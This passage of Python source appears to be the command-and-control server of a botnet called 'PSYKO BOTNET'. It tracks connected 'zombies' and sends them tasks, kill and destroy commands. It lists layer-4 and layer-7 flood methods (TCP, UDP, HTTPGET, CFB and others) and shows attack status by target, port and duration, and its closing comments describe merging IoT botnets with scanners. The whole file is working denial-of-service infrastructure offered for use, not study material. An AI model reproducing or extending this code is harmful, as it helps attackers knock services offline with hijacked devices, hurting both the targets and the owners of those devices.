self.cprint(f"{[i]} {ip}:{port} CONNECTED") # RESET ALL CONNECTIONS | CAN FIX SOME BUGS def cmd_reset(self): for i, conn in self.get_connection(): self.connections.remove(conn) conn.close() # ---------------------- M E T H O D S C O M M A N D --------------------------- # Can be better def cmd_methods(self): System.Clear() a = ''' _______________________________________________________________________________________________________ | |_________________________________________________________________________________________________| | | | -~[ LAYER4 ]~- |-| -~[ LAYER7 ]~- | | | | |-| | | | | [+] TCP [ip] [port] [time] [size] [threads] |-| [+] STORM [url] [port] [time] [threads] | | | | [+] UDP [ip] [port] [time] [size] [threads] |-| [+] CFB [url] [port] [time] [threads] | | | | [+] JUNK [ip] [port] [time] [size] [threads] |-| [+] HELL [url] [port] [time] [threads] | | | | |-| [+] HTTPSPOOF [url] [time] [threads] | | | | |-| [+] HTTPGET [url] [port] [time] [threads] | | | | |-| | | | |_______________________________________________|_|_______________________________________________| | |_______________________________________________________________________________________________________| \n\n''' b = Colorate.Horizontal(Colors.red_to_blue, Center.XCenter(a)) print(b) # -------------------- H E L P C O M M A N D ----------------------- # Make this FCKING BETTER LZ def cmd_help(self): help = ('''[+] list ~ list all connected clients [+] ping ~ ping all clients [+] connect ~ connect to a client [+] methods ~ show all methods [+] tasklist ~ list all running tasks [+] kill ~ kill a task [+] killall ~ kill all tasks [+] help ~ show this help message\n''') print("\n|----Command List----|") for char in help: sys.stdout.write(char) sys.stdout.flush() sleep(0.05) # -------------------- T A S K S F U N C T I O N S ---------------------- def cmd_tasklist(self): if len(self.tasks) == 0: print("0 tasks running") return print("|----Tasks----|") for hash, task in self.tasks.copy().items(): duration = task["params"][2] if (time() - task["time"]) > int(duration): del self.tasks[hash] continue print(f"\t{hash} - {task['cmd']} {' '.join(task['params'])}") def cmd_killall(self): self.send(Request(cmd="STOP")) self.display_output() def cmd_kill(self, hash:int): hash = int(hash) if hash not in self.tasks: print("Invalid task id") return del self.tasks[hash] self.send(Request(cmd="KILL", body=dict(params=hash))) self.display_output() # ------------------------------ C O N N E C T T O O N E ------------------------------ # Need to add more commands buddy def cmd_connect(self, conn_id:int): conn_id = int(conn_id) if len(self.connections) < conn_id: print("Invalid connection id") return conn = self.connections[conn_id-1] session = Session(self, conn) System.Clear() self.print_logo() self.take_input() # -------------------------------------- D E S T R O Y ---------------------------------- # Need to watch on client before removing, and add the ip adaptator to the divisor script def cmd_destroy(self): self.send(Request(cmd="DESTROY")) self.display_output() # --------------------------------- D I S P L A Y O U T P U T---------------------------------------- def display_output2(self): responses_count = 0 responses = self.recv() for i, res in enumerate(responses, start=1): responses_count += 1 if responses_count == 0: self.cprint(f"[!] No Zombies up") ctypes.windll.kernel32.SetConsoleTitleW(f'[ PSYKO BOTNET ] : {VERSION_PSYKO_BOTNET} || [ ONLINE ZOMBIES ] : {responses_count} ') else: self.cprint(f"[+] Online Zombies : {responses_count}") ctypes.windll.kernel32.SetConsoleTitleW(f'[ PSYKO BOTNET ] : {VERSION_PSYKO_BOTNET} || [ ONLINE ZOMBIES ] : {responses_count} ') def display_output(self): responses = self.recv() for i, res in enumerate(responses, start=1): ip, port = res.conn.getpeername() # number of connected, ip, port, response self.cprint(f"{[i]} {ip}:{port} {res.output}") def display_output_attack4(self, method, target, port, time, threads): responses_count = 0 responses_false = 0 responses_valid = 0 responses = self.recv() for i, res in enumerate(responses, start=1): responses_count += 1 if res.output == "True": responses_valid += 1 else: responses_false += 1 if responses_count == 0: Write.Print("[!] No Zombies up\n", Colors.red_to_blue, interval=0.000005) ctypes.windll.kernel32.SetConsoleTitleW(f'[ PSYKO BOTNET ] : {VERSION_PSYKO_BOTNET} || [ ONLINE ZOMBIES ] : {responses_count} ') else: ctypes.windll.kernel32.SetConsoleTitleW(f'[ PSYKO BOTNET ] : {VERSION_PSYKO_BOTNET} || [ ONLINE ZOMBIES ] : {responses_count} ') if responses_valid == 0: Write.Print("[!] ERROR\n", Colors.red_to_purple, interval=0.000005) Write.Print(res.output, Colors.red_to_purple, interval=0.000005) return responses_length = len(str(responses_count)) responses_adjustment = ' ' * (67 - responses_length) target_length = len(target) target_adjustment = ' ' * (94 - target_length) port_length = len(port) port_adjustment = ' ' * (94 - port_length) time_length = len(time) time_adjustment = ' ' * (96 - time_length) threads_length = len(threads) threads_adjustment = ' ' * (94 - threads_length) method_length = len(method) method_adjustment = ' ' * (94 - method_length) responses_valid_length = len(str(responses_valid)) responses_valid_adjustment = ' ' * (96 - responses_valid_length) responses_false_length = len(str(responses_false)) responses_false_adjustment = ' ' * (95 - responses_false_length) System.Clear() print_attack = f''' _______________________________________________________________________________________________________ | |_________________________________________________________________________________________________| | | | |-| |-| | | | | \-\ /-/ | | | | |-| ╔═╗╔╦╗╔╦╗╔═╗╔═╗╦╔═ ╔═╗╔═╗╔╗╔╔╦╗ |-| | | | | |-| ╠═╣ ║ ║ ╠═╣║ ╠╩╗ ╚═╗║╣ ║║║ ║ |-| | | | | |-| ╩ ╩ ╩ ╩ ╩ ╩╚═╝╩ ╩ ╚═╝╚═╝╝╚╝ ╩ |-| | | | | /-/ \-\ | | | |______________________|-|_____________________________________________|-|________________________| | |_______________________________________________________________________________________________________| | PSYKO BOTNET ~ {VERSION_PSYKO_BOTNET} | Online Bots: {responses_count}{responses_adjustment}| |_______________________________________________________________________________________________________| | Target: {target}{target_adjustment}| | Port: {port}{port_adjustment}| | Time: {time}{time_adjustment}| | Thread: {threads}{threads_adjustment}| | Method: {method}{method_adjustment}| |_______________________________________________________________________________________________________| | Bots: {responses_valid}{responses_valid_adjustment}| | Error: {responses_false}{responses_false_adjustment}| |_______________________________________________________________________________________________________|\n\n\n''' b = Colorate.Diagonal(Colors.DynamicMIX((Col.green, Col.light_green, Col.yellow)), Center.XCenter(print_attack)) print(b) # ----------------------------------- R E C E I V E -------------------------------------------------- # ------------------------------------- S E N D ---------------------------------------------------- # ----------------------------------- G E T H A S H ------------------------------------------------- def recv(self, conn:socket.socket=None) -> Response: if conn is None: responses = [] for i, conn in self.get_connection(): responses.append(self.recv(conn)) return responses conn.setblocking(1) data = conn.recv(MAX_CHUNK_SIZE) res = Response(data) while data:=conn.recv(MAX_CHUNK_SIZE): if data.endswith(PAYLOAD_SUFFIX): res.add_body(data[:-len(PAYLOAD_SUFFIX)]) break res.add_body(data) res.conn = conn conn.setblocking(0) return res def send1(self, socket, data:Request): socket.send1(data.get_payload()) def get_hash(self, *args): data = [] if len(args) > 1: for n in args: if isinstance(n, str): data.append(n) if isinstance(n, (tuple, list, set)): data += [*list(n)] else: data = args he = hashlib.md5(str(data).encode()).hexdigest() return (int(he, 16) % (1<<32)) # ------------------------------ A N I M A T I O N ---------------------------------------- def print_ghost(self) -> None: System.Clear() intro1 = "[T.me/oghackeur]\n [T.me/NetForceZ]" Anime.Fade(Center.Center(intro1), Colors.yellow_to_green, Colorate.Vertical, interval=0.0035, enter=True) # ----------------------------- M E N U L O G O ---------------------------------------- def print_logo(self) -> None: System.Clear() intro = ''' . . .n . . n. . .dP dP 9b 9b. . 4 qXb . dX Xb . dXp t dX. 9Xb .dXb __ __ dXb. dXP .Xb 9XXb._ _.dXXXXb dXXXXbo. .odXXXXb dXXXXb._ _.dXXP 9XXXXXXXXXXXXXXXXXXXVXXXXXXXXOo. .oOXXXXXXXXVXXXXXXXXXXXXXXXXXXXP `9XXXXXXXXXXXXXXXXXXXXX'~ ~`OOO8b d8OOO'~ ~`XXXXXXXXXXXXXXXXXXXXXP' `9XXXXXXXXXXXP' `9XX' `98v8P' `XXP' `9XXXXXXXXXXXP' ~~~~~~~ 9X. .db|db. .XP ~~~~~~~ )b. .dbo.dP'`v'`9b.odb. .dX( ,dXXXXXXXXXXXb dXXXXXXXXXXXb. dXXXXXXXXXXXP' . `9XXXXXXXXXXXb [~] N3TF0RCEZ - B0TNET dXXXXXXXXXXXXb d|b dXXXXXXXXXXXXb [+] EXTAZZ 9XXb' `XXXXXb.dX|Xb.dXXXXX' `dXXP [+] OPJ.WEB `' 9XXXXXX( )XXXXXXP `' [+] XPOLARIZED XXXX X.`v'.X XXXX XP^X'`b d'`X^XX X. 9 ` ' P )X `b ` ' d' ` '\n\n''' b = Colorate.Vertical(Colors.DynamicMIX((Col.green, Col.light_green, Col.yellow)), Center.XCenter(intro)) print(b) # ---------------------------- S T A R T ------------------------------ if __name__ == "__main__": server = Server() ''' 1) Fusion de deux serveurs / c2 et botnets IoT 2) Il comporte plusieurs scanners et il faudrait ajouter un relay sur le serveur. 3) les methodes nont pas l'air tres sofistiqués et puissantes. '''